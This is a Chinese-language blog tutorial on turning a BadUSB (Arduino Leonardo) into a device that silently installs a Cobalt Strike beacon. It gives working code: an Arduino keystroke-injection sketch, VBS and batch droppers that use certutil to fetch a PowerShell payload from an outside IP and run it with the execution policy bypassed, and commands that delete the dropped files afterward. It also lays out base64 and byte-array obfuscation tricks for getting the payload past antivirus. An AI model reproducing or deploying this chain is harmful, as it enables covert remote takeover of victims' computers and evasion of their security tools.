Budusb后台静默上线Cobalt Strike与ps1的免杀
题记
今天我终于把规划已久的技术完成了,badusb买了1个多月了,我的快乐值是与我的技术提升正相关的。技术流程就是WIN+R >> CMD打开POWERSHELL >> POWERSHELL远程执行CobaltStrike生成的PS1文件 >> 主机上线。哈哈哈哈哈哈,我就是个人才。这些天有关于美国系统被大规模入侵的新闻,真是强啊,黑客们。
工具:cs4.2,base64编码网站,badusb,Arduino IDE,下载文件的网站。
查免杀状况网站:https://www.virustotal.com/
前提知识(cmd远程下载文件):
start powershell
$client = new-object System.Net.WebClient
$client.DownloadFile(' http://103.234.72.5/shellcode.exe',' E:\2.exe')
免杀方法一(把payload代码转码)
1、cs生成ps1(选x64和不选生成的powershell代码不一样,选上有无变量,没选有变量)
2、主要改[Byte[]]$var_code那一行
3、把FromBase64String直接改成byte数组。
在powershell.exe里面执行以下命令就能生成数组了。
$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')
$s |foreach { $string = $string + $_.ToString()+','}
$string > c:\1.txt 或者$string 短的话直接查看即可。
4、把[Byte[]]$var_code替换掉(这个方式免杀差一点,但是能免杀火绒)
免杀方法二(把核心字符串全部base64加密后解密输出)
1、生成一个ps1木马。
2、把中间核心的字符串全部base64编码。
3、在base64编码后边写入还原语句就能绕过大部分杀软了。
解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))
变量名记得后边也改掉。
4、执行powershell -ExecutionPolicy bypass -File C:\\POWERSHELL.PS1机器上线。
免杀方法进阶(完美版)(base64加密后分段赋值后解密输出)
接上面的免杀之后进阶版,把base64编码后的字符拆开然后在后面以变量和在一起。
可以看到免杀效果是极好的。
Badusb实现后台静默执行上线CobaltStrike
实现以VBS文件形式远程下载并执行CobaltStrike生成的PS1文件,来达到后台静默执行的目的。注:taskmgr.exe快速打开任务管理器,从此告别了ctrl+alt+.了
效果(点击下方空白地方跳转flash页面查看上线预览图,博客园不支持插入视频):
1、首先用kali创建一个网站。把要利用的文件全放在网站根目录下,好让目标主机下载运行。
apt-get install apache2
/var/www/html
service apache2 start
2、badusb制作
首先下载arduino IDE,这个软件属于微软,可以免费下载。
在工具里面选择:
开发板选择:Arduino Leonardo
端口选择:com5(Arduino Leonardo)
POWERSHELL.ino(arduino烧录文件) #include <Keyboard.h> void setup() { // putpower shell your setup code here, to run once Keyboard.begin();//开始键盘通讯 delay(1000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(200); Keyboard.press('r');//r键 delay(200); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 Keyboard.release(KEY_CAPS_LOCK); delay(300); Keyboard.println("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://103.234.72.5/run.vbs d:\\run.vbs && timeout /t 1 && start /B d:\\run.vbs" ); //无回显 //Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); //有回显 Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop() { // put your main code here, to run repeatedly: }
解释:WIN+R打开运行窗口,通过打开CMD下载RUN.VBS,落地到D盘根目录后CMD关闭,并静默执行RUN.VBS
点击对勾编译文件,右符号上传到badusb。
3、落地文件
RUN.VBS set ws=WScript.CreateObject("WScript.Shell") ws.Run "cmd /c certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.BAT d:\\POWERSHELL.BAT && start /B d:\\POWERSHELL.BAT",0
解释:
通过certutil命令远程下载POWERSHELL.BAT,落地到D盘根目录
静默执行POWERSHELL.BAT
POWERSHELL.BAT @echo off certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.PS1 d:\\POWERSHELL.PS1 TIMEOUT /T 1 start /B powershell.exe -executionpolicy bypass -file d:\\POWERSHELL.PS1 del D:\R*.VBS /f /s /qTIMEOUT /T 1 del D:\P*.PS1 /f /s /qdel D:\P*.BAT /f /s /q exit
解释:
通过certutil命令下载POWERSHELL.PS1,落地到D盘根目录
考虑网络问题,下载POWERSHELL.PS1需要时间(测试的时候出现了执行速度太快,导致没下载完就直接执行了下一步),所以延时一秒
通过powershell后台静默执行POWERSHELL.PS1,至此CS上线
上线后立即删除R开头VBS文件
延时一秒(测试出现powershell执行速度太慢,没上线)
依次删除P开头PS1文件、P开头BAT文件
把这三个文件上传到网站,badusb一插入机器就上线了。
参考文章
感谢大神们的文章,受益匪浅。
Badusb上线:https://mp.weixin.qq.com/s/pH9hcKGQHIRMxU3uDN3JUw
Ps1介绍与免杀:https://www.cnblogs.com/forforever/p/13882312.html
https://www.freebuf.com/articles/system/227467.html
https://mp.weixin.qq.com/s/T9lCDVO1dSiugGcMwL5prg